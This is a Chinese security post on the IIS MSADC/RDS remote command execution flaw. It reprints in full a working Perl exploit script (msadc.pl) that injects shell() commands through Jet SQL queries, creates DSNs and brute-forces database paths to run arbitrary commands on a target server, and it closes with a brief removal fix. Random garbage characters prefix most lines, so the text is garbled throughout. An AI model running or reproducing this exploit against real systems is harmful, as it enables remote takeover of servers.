IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
%0:
('' N<N!i t 涉及程序：
@zd)]O]xH? Microsoft NT server
dBobVT' ;zSh 9H 描述：
O;qS 3 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
*QjFrw3 ) JuD ! 详细：
(]mN09uE 如果你没有时间读详细内容的话，就删除:
O ^U{I?gQ c:\Program Files\Common Files\System\Msadc\msadcs.dll
wk8XD(& 有关的安全问题就没有了。
~(I\O?k>H Bsz kQ>#6 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
9-bDgzk
#<v3G)|aS 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
g<UjB 关于利用ODBC远程漏洞的描述，请参看:
FE$)[ w,m ]d% hU http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm s=U_tfpH ZL1[Khr,s 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
lXv{+ic http://www.microsoft.com/security/bulletins/MS99-025faq.asp / x$O6gi D_@r_^} 这里不再论述。
q'K=Ly+ x8zUGvtQ 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
5<ery~q T:na\y/{j /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
D}\%
Q # 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
5 ^f>L2 5^0W\
9O@ eJ $ #将下面这段保存为txt文件，然后: "perl -x 文件名"
O]^E%;(]}i (hd2&mSy #!perl
9.1%T06$ #
fS!%qr # MSADC/RDS 'usage' (aka exploit) script
q1NAKcA<U #
RUO,tB|(_; # by rain.forest.puppy
6I_W4`<VeZ #
LRB#|PW # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
(kb^=kw#0 # beta test and find errors!
`;QpPSw + ~p oy`h' use Socket; use Getopt::Std;
O v?k4 kJ getopts("e:vd:h:XR", \%args);
mQJRq??P #XC\= pZX print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
">Cjn F2>R qjUQ2d if (!defined $args{h} && !defined $args{R}) {
u4#BD!W print qq~
Z$HYXm Usage: msadc.pl -h <host> { -d <delay> -X -v }
w(. k6:e -h <host> = host you want to scan (ip or domain)
c5]^jUB6 -d <seconds> = delay between calls, default 1 second
XQlK }AK -X = dump Index Server path table, if available
aSKI %<?xN -v = verbose
0[9A * -e = external dictionary file for step 5
":eHR}Hzx oryoGy=(yk Or a -R will resume a command session
}1d
6d3b
C4Bh#C ~; exit;}
{!'AR`| g4I(uEJk $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
*Pw; ;#\B if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
mm:\a-8j if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
Os?~ U/ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
2hmV 1g j $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
"{L%5:H@ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
In^$+l%O[ N55;oj_K if (!defined $args{R}){ $ret = &has_msadc;
O1rnF3 Be die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
Wd&!##3$Q XP6R$0yN print "Please type the NT commandline you want to run (cmd /c assumed):\n"
]}KmT "vA . "cmd /c ";
1 ,[T;pdDd $in=<STDIN>; chomp $in;
[y=k}W}z $command="cmd /c " . $in ;
Yz.[CmdX hD # Yz< if (defined $args{R}) {&load; exit;}
r-&4<=C/N H%Q@DW8~@ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
#N@sJyI N &try_btcustmr;
*9?-JBT&F ~~:i+-[ print "\nStep 2: Trying to make our own DSN...";
y\r8_rBo &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
jIAl7aoY wdl6dLu print "\nStep 3: Trying known DSNs...";
7 P=1+2V &known_dsn;
2-]gHAw% ihf5`mk/$ print "\nStep 4: Trying known .mdbs...";
3vNo D &known_mdb;
|2{y'?, M q6.!j if (defined $args{e}){
F~{yqY5]n print "\nStep 5: Trying dictionary of DSN names...";
}_gCWz-5? &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
xr)kHJ: v h p Lo print "Sorry Charley...maybe next time?\n";
d8dREhK& exit;
XSn^$$S GfL}f9 ##############################################################################
q.uIZ q;t
T*B W sub sendraw { # ripped and modded from whisker
\W}?4kz sleep($delay); # it's a DoS on the server! At least on mine...
L;E9"7Jo my ($pstr)=@_;
[
ecYpE< socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
2/qfK+a die("Socket problems\n");
]}~*uT}> if(connect(S,pack "SnA4x8",2,80,$target)){
i nF&Pv select(S); $|=1;
O' A''}M print $pstr; my @in=<S>;
D8BK/E- select(STDOUT); close(S);
B.Ic8' return @in;
c,X\1yLy } else { die("Can't connect...\n"); }}
vr=iG
xD C03ehjT< ##############################################################################
@j5W4HU 552c4h/T sub make_header { # make the HTTP request
+Rxf~m(pV my $msadc=<<EOT
x_bS-B)%Y: POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
D3(|bSca User-Agent: ACTIVEDATA
pbR84g^p.S Host: $ip
K=+w,H# `C Content-Length: $clen
GkaIqBS Connection: Keep-Alive
2O`uzT$ @M:j~ ADCClientVersion:01.06
{$oZR" MP Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
_"## p u5$\E]+ _ --!ADM!ROX!YOUR!WORLD!
o^d(mJZ.F~ Content-Type: application/x-varg
F+*:
>@3 Content-Length: $reqlen
K?(ls $ tJ bOn$]2" EOT
X -w#E3 ; $msadc=~s/\n/\r\n/g;
h,rGa\ X~0 return $msadc;}
6 =MejT OT{qb!eYI ##############################################################################
9%> H}7= dxUq5`#G, sub make_req { # make the RDS request
%* vYX0W" my ($switch, $p1, $p2)=@_;
c ^Rz?2x my $req=""; my $t1, $t2, $query, $dsn;
3yZtyXRPn :*)~nPVV if ($switch==1){ # this is the btcustmr.mdb query
1sGkbfh{t $query="Select * from Customers where City=" . make_shell();
:-ax5,J> q $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
vn 6/H8
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
5i83(>p3]e Ga+\b >C elsif ($switch==2){ # this is general make table query
fw|r{#d $query="create table AZZ (B int, C varchar(10))";
M)V z9, $dsn="$p1";}
TM[Z~n(wt >p}d:t/ elsif ($switch==3){ # this is general exploit table query
H.v`JNs ( $query="select * from AZZ where C=" . make_shell();
< 5;0LPU $dsn="$p1";}
qs\
& C #:DDx5%x<b elsif ($switch==4){ # attempt to hork file info from index server
Bwn9ZYu#r $query="select path from scope()";
Tf21K9+`L $dsn="Provider=MSIDXS;";}
)p(5$AR7 zPH1{|H+l elsif ($switch==5){ # bad query
KaBze67<| $query="select";
J &u&G7#S
$dsn="$p1";}
]i=-/ zf5s\w.4 $t1= make_unicode($query);
_+wv3?
c" $t2= make_unicode($dsn);
I8
8y9sW $req = "\x02\x00\x03\x00";
k2j:s}RHY $req.= "\x08\x00" . pack ("S1", length($t1));
q !EJs:AS $req.= "\x00\x00" . $t1 ;
D2[u ex $req.= "\x08\x00" . pack ("S1", length($t2));
nxA]EFS $req.= "\x00\x00" . $t2 ;
~pX&>v\T $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
i ao/l return $req;}
](x4q ;7K5Bo ##############################################################################
QKE$>G
~ AS2$ sub make_shell { # this makes the shell() statement
Y^2`)': return "'|shell(\"$command\")|'";}
{!o-y= D 7 [n^WtL ##############################################################################
HC ?yodp^ h 34|v=8d sub make_unicode { # quick little function to convert to unicode
Jr% u[d> my ($in)=@_; my $out;
|t4k&Dkx` for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
B[S.6 "/H return $out;}
~ i fq_Ag. & !N5}N& ##############################################################################
r*0a43mC1 /Fk LZm sub rdo_success { # checks for RDO return success (this is kludge)
(|bMtT?"x my (@in) = @_; my $base=content_start(@in);
7$8z}2 if($in[$base]=~/multipart\/mixed/){
i"F'n0*L return 1 if( $in[$base+10]=~/^\x09\x00/ );}
+r2E5s return 0;}
;=5V)1~i1; \-#~)LB]M ##############################################################################
^h1VCyoR* e\%QHoi>u sub make_dsn { # this makes a DSN for us
(=QaAn,,R my @drives=("c","d","e","f");
7 I&7YhFI print "\nMaking DSN: ";
DcQ^V 4_ foreach $drive (@drives) {
oZA|IF8U0 print "$drive: ";
one^XYy1% my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
_B 8e 1an "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
2 t<
dCw . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
--Dw $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
PC.$&x4w1 return 0 if $2 eq "404"; # not found/doesn't exist
p27A#Uu2} if($2 eq "200") {
-,TBUWg foreach $line (@results) {
v| ?hc'Fj return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
nxsQDw\hy } return 0;}
i\3BA"ZX 0s$g[Fw<. ##############################################################################
V*=cNj yD#w @yG sub verify_exists {
8MX/GF;F my ($page)=@_;
`RthX\Tof my @results=sendraw("GET $page HTTP/1.0\n\n");
$\81WsL ' return $results[0];}
YUT"A{L mIFS/C ##############################################################################
7v?tSob:b S 82NU2L sub try_btcustmr {
UciWrwE my @drives=("c","d","e","f");
,*E%D _ my @dirs=("winnt","winnt35","winnt351","win","windows");
J}._v\Q7P @tE VgyN foreach $dir (@dirs) {
E;VB oN [ print "$dir -> "; # fun status so you can see progress
;FMK>%Zq foreach $drive (@drives) {
ZNOoyWYi5 print "$drive: "; # ditto
pr;<n\Y{ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
6ynQCD $reqlenlen=length( "$reqlen" );
xXA$16kd $clen= 206 + $reqlenlen + $reqlen;
/nv1 .c)k [O"i!AQ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
s.=)p"pTd if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
Kzo{L else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
:{_Or'L q E$ .a[ ##############################################################################
zesEbR)j uqTOEHH7 sub odbc_error {
kgr:8 5 my (@in)=@_; my $base;
O3bK>9<K my $base = content_start(@in);
`Jm{K*&8Q if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
oxO}m7 ULH $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
oq8~PTw $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
6Wc eDY $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
j"94hWb return $in[$base+4].$in[$base+5].$in[$base+6];}
4fzq C) print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
xBgf)'W_Z print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
y^;qT_)# $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
A'[A!N L% :vurU$\ ##############################################################################
^ 3=8*Xr ;2L=WR% sub verbose {
q hK; #<# my ($in)=@_;
^z[s;:- return if !$verbose;
\RQ5$ !O print STDOUT "\n$in\n";}
.8b 4 P2`ks[u+i ##############################################################################
%ef+Z Q. z2 (& sub save {
}[LK/@h my ($p1, $p2, $p3, $p4)=@_;
KO)<Zh open(OUT, ">rds.save") || print "Problem saving parameters...\n";
`(Q58wR} print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
YQQ!1 hw close OUT;}
YgM6z K~ O])/kS` ##############################################################################
y*uL,WH }-r"W7]k sub load {
D|e 6$O 5o my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
6b<t|zb open(IN,"<rds.save") || die("Couldn't open rds.save\n");
AQQj]7Y @p=<IN>; close(IN);
JSGUl4N $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
De>pIN;B> $target= inet_aton($ip) || die("inet_aton problems");
RK rBHqh@ print "Resuming to $ip ...";
cLR8U1k' $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Ae ue:u> if($p[1]==1) {
(a^F`#] $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
#:s'&. 6 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
& RROra my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
>W- e0kkH if (rdo_success(@results)){print "Success!\n";}
D|=QsWZI else { print "failed\n"; verbose(odbc_error(@results));}}
/23v]HEPy elsif ($p[1]==3){
,pL esbI if(run_query("$p[3]")){
SCGQo .~, print "Success!\n";} else { print "failed\n"; }}
LR9'BUfFv elsif ($p[1]==4){
(/@o7&>*50 if(run_query($drvst . "$p[3]")){
+S/8{2%?DG print "Success!\n"; } else { print "failed\n"; }}
V 8n}" exit;}
f_Wn[I{ !^8'LMY<I ##############################################################################
#e 8CuS
K[?wP>s sub create_table {
FfD2
&(-R my ($in)=@_;
Llk ` $reqlen=length( make_req(2,$in,"") ) - 28;
HnY: gu $reqlenlen=length( "$reqlen" );
3_33@MM $clen= 206 + $reqlenlen + $reqlen;
X,y$!2QI my @results=sendraw(make_header() . make_req(2,$in,""));
%' g/4I return 1 if rdo_success(@results);
/OxF5 bN2 my $temp= odbc_error(@results); verbose($temp);
^eZqsd8 a return 1 if $temp=~/Table 'AZZ' already exists/;
jBE= Ij return 0;}
DcOu =Y> 1 OcSLRN?t ##############################################################################
(>;~ ((2 ;nh7Elk sub known_dsn {
|#-Oz#Eg' # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
UI!EIZ*~ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
G53!wIW2: "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
NEGpf[$ "banner", "banners", "ads", "ADCDemo", "ADCTest");
4tu2%Og)? >Zr /U!W*? foreach $dSn (@dsns) {
Pc4sReo ' print ".";
)L#I#% next if (!is_access("DSN=$dSn"));
97 Q!Ro t if(create_table("DSN=$dSn")){
'fVk1Qj^ print "$dSn successful\n";
GGLV v) if(run_query("DSN=$dSn")){
~+T~}S print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
[xE\IqwM print "Something's borked. Use verbose next time\n";}}} print "\n";}
j; +nnpg 4p1{Ady ##############################################################################
@NyCMe; ] r;Dl sub is_access {
;- cq#8S my ($in)=@_;
wwp vmb $reqlen=length( make_req(5,$in,"") ) - 28;
Q0 ^?jh $reqlenlen=length( "$reqlen" );
A$5!]+ $clen= 206 + $reqlenlen + $reqlen;
-7pZRnv my @results=sendraw(make_header() . make_req(5,$in,""));
l[.pI];T my $temp= odbc_error(@results);
!MGQ+bD6 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
> 5 i8 %r return 0;}
zF{ z_c#3@ yXEC@#?| ##############################################################################
Z>X -u eV -A ffK o sub run_query {
XDI@ mQmzB my ($in)=@_;
SgY>$gP9S $reqlen=length( make_req(3,$in,"") ) - 28;
JgxOxZS`@ $reqlenlen=length( "$reqlen" );
IG bQ L $clen= 206 + $reqlenlen + $reqlen;
!D6@ \ my @results=sendraw(make_header() . make_req(3,$in,""));
HZP`u >. return 1 if rdo_success(@results);
0#yo\McZ my $temp= odbc_error(@results); verbose($temp);
Y)a 7osML return 0;}
@|cas|U.r a ]ftE\99 ##############################################################################
Y)!5Z.K "C0oFRk sub known_mdb {
-bs~ { my @drives=("c","d","e","f","g");
h\20 my @dirs=("winnt","winnt35","winnt351","win","windows");
M&> Z[o my $dir, $drive, $mdb;
A!j &g(Z"Q my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
( ^6SF>' E8V,".!+E # this is sparse, because I don't know of many
g!K(xh EO my @sysmdbs=( "\\catroot\\icatalog.mdb",
Y]Xal
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
Z& 21gN "\\system32\\certmdb.mdb",
Uh9$e "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
2} T" |56 r?Z8_5Y my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
&]ImO
RN "\\cfusion\\cfapps\\forums\\forums_.mdb",
IRcZyry "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
3N <FG .6 "\\cfusion\\cfapps\\security\\realm_.mdb",
&1VC0"YJWy "\\cfusion\\cfapps\\security\\data\\realm.mdb",
>Vg<J~[g "\\cfusion\\database\\cfexamples.mdb",
^WVr@6 "\\cfusion\\database\\cfsnippets.mdb",
|#MA?oz3T "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
J M!o(zbt "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
,I)/ V>u "\\cfusion\\brighttiger\\database\\cleam.mdb",
?p}m[9@ "\\cfusion\\database\\smpolicy.mdb",
mT)iN` $Y@ "\\cfusion\\database\cypress.mdb",
C$?dkmIt "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
/gPn2e ; "\\website\\cgi-win\\dbsample.mdb",
Jj([O2Eq$ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
. ipYZg'V "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
fc&4e:Ve ); #these are just
g8B@M*JA foreach $drive (@drives) {
lJ }lO,g foreach $dir (@dirs){
;zp0,[r foreach $mdb (@sysmdbs) {
g y&B"` print ".";
7
bpV= if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
C9 *'.~ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
VV?KJz=,W= if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
*,z_ _S$Q) print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
CRS/qso[Q' } else { print "Something's borked. Use verbose next time\n"; }}}}}
EY&hWl*a^ W**a\[~$ foreach $drive (@drives) {
&%INfl>o7. foreach $mdb (@mdbs) {
yyBy|7QgO print ".";
:;]6\/ky if(create_table($drv . $drive . $dir . $mdb)){
QZzi4[-as print "\n" . $drive . $dir . $mdb . " successful\n";
N|8TE7- F| if(run_query($drv . $drive . $dir . $mdb)){
O[q {y print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
dx:],VB } else { print "Something's borked. Use verbose next time\n"; }}}}
4GaF: / }
p+A#t~K $7lI Dt ##############################################################################
Nno*X9>~ )Ibp%' H sub hork_idx {
EAx@a% print "\nAttempting to dump Index Server tables...\n";
rbs:qLa% print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
V~ZAs+(2Z $reqlen=length( make_req(4,"","") ) - 28;
Bm .%bA>
$reqlenlen=length( "$reqlen" );
&|55:Y87 $clen= 206 + $reqlenlen + $reqlen;
5H>[@_u+: my @results=sendraw2(make_header() . make_req(4,"",""));
l*/I ; a$ if (rdo_success(@results)){
@@_f''f$ my $max=@results; my $c; my %d;
@ Vc*JEW for($c=19; $c<$max; $c++){
H}X3nl\] $results[$c]=~s/\x00//g;
{bl^O $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
`&j5/[>v $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
?!8M
I,c/ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
r1xN U0 A $d{"$1$2"}="";}
V[A uw3) foreach $c (keys %d){ print "$c\n"; }
NtSa# $A } else {print "Index server doesn't seem to be installed.\n"; }}
)CEfG ~x`OCii ##############################################################################
`0Qzu\gRb k6. }. sub dsn_dict {
pT.iQ J| open(IN, "<$args{e}") || die("Can't open external dictionary\n");
hcwK i
while(<IN>){
LbvnV~S $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
G' Jsk4:c next if (!is_access("DSN=$dSn"));
g/'MECB if(create_table("DSN=$dSn")){
oJ>]=^?k print "$dSn successful\n";
k)d LJ<EM if(run_query("DSN=$dSn")){
t- i; print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
/J8y[aa print "Something's borked. Use verbose next time\n";}}}
&+d>xy\^/ print "\n"; close(IN);}
ojUBa/ j: \MrYt0H ##############################################################################
,; hI yT 6:#zlKYJ sub sendraw2 { # ripped and modded from whisker
i4&"-ujrm sleep($delay); # it's a DoS on the server! At least on mine...
G2zfdgW${/ my ($pstr)=@_;
@9-z8P yF socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
!A , ] die("Socket problems\n");
+A3@{ 2 if(connect(S,pack "SnA4x8",2,80,$target)){
CsJw;]dYI print "Connected. Getting data";
x{j|Tf 3,G open(OUT,">raw.out"); my @in;
J9zSBsp_ select(S); $|=1; print $pstr;
% sbDH while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
@|idlIey close(OUT); select(STDOUT); close(S); return @in;
O2-9 Oo@#, } else { die("Can't connect...\n"); }}
-: dUD1 ^ [uA^ ##############################################################################
bB n4m: VE6
V^6SL sub content_start { # this will take in the server headers
f3[ gA Y my (@in)=@_; my $c;
d.3-@^P for ($c=1;$c<500;$c++) {
X@2[!%nm if($in[$c] =~/^\x0d\x0a/){
I_oJx if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
Cpz'6F^oP else { return $c+1; }}}
D({% FQ" return -1;} # it should never get here actually
}v"X.fa^ OV_Y`u7 YR ##############################################################################
nK)U.SZ bb`GV sub funky {
{.K >9#^m my (@in)=@_; my $error=odbc_error(@in);
'C)`j {CS if($error=~/ADO could not find the specified provider/){
W
MU9tq[ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
hjtk q .@ exit;}
uK2MC?LP if($error=~/A Handler is required/){
b*\K I print "\nServer has custom handler filters (they most likely are patched)\n";
! av
B &Z exit;}
?k
CK$P if($error=~/specified Handler has denied Access/){
D .oX>L#: print "\nServer has custom handler filters (they most likely are patched)\n";
^y]CHr exit;}}
o[' HiX aqSHo2]DX9 ##############################################################################
^OnU;8IC \!Cix}}1 sub has_msadc {
Gt3V}"B3\ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
R'`q0MoN1 my $base=content_start(@results);
U R>zL3 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
$e)d!m. return 0;}
J=JYf_=4bc ~Pq1@N>n ########################
FctqE/>}I J\^ZRu_K
<C`qJP- 解决方案：
CkKr@. dV 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
4C\>JGZvq 2、移除web 目录: /msadc
